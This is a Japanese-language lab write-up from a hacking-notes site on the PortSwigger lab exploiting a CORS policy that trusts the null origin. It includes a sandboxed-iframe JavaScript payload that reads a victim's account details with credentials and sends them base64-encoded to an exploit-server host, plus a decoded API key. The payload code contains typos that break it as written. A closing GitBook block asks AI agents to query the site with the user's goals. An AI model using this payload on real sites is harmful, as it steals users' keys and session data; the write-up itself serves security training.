> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/cors/cors-null-origin-trusted.md).

# nullオリジンを信頼する CORS

PortSwigger Web Security Academy のラボ向けメモ。nullオリジンを信頼する CORS に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 信頼された null オリジンを持つ CORS の脆弱性

元のオリジンを信頼する脆弱な CORS 設定を悪用する `「null」`。このラボの目的は、CORS クエリ（ `認証情報`）を使用して管理者から API キーを取得し、コードをエクスプロイトサーバーにアップロードすることです。ラボは、管理者の API キーが正常に送信されると解決されます。

* サーバーは次を返します `Access-Control-Allow-Credentials: true`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6daa0d16475bdf4c8bbdd18924f3d52234a1d8b%2F%7BF14DF671-1D17-46A2-AB9F-F3A775778B8C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次の `Origin: jord4n.pro` ヘッダーが送信されると、ドメインは反映されません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-813478c976322b082d052040566b5136fa2811a7%2F%7BCF9635A6-38F2-45F1-A377-3B6F8EF364F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

しかし、送信すると `Origin: null`、レスポンスはこの値を受け入れて反映します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8aa4106218966391d71858d2b4a32d185d590c8%2F%7B089F3980-7237-4145-B15D-BE7AAE033760%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ページからリクエストを強制的に送信する `null` オリジン（例：〜経由で `iframe` を使って `srcdoc`）とし、CORS レスポンスがオリジンを信頼できると判断してデータを返すようにします（withCredentials を使用して `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a60de0d9836b763ad148cabe1679af6794d666c2%2F%7BCD4C44D4-A7FB-476E-B5B0-8E288F1E9EBE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> 注: このコードを実行する原則は、 `null` オリジン（iframe `srcdoc`）で実行することです。そうすることで、受け入れる CORS レスポンスが `null`、cookie を含む機密データを返します。

Base64 でデコードした回収済みキー:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
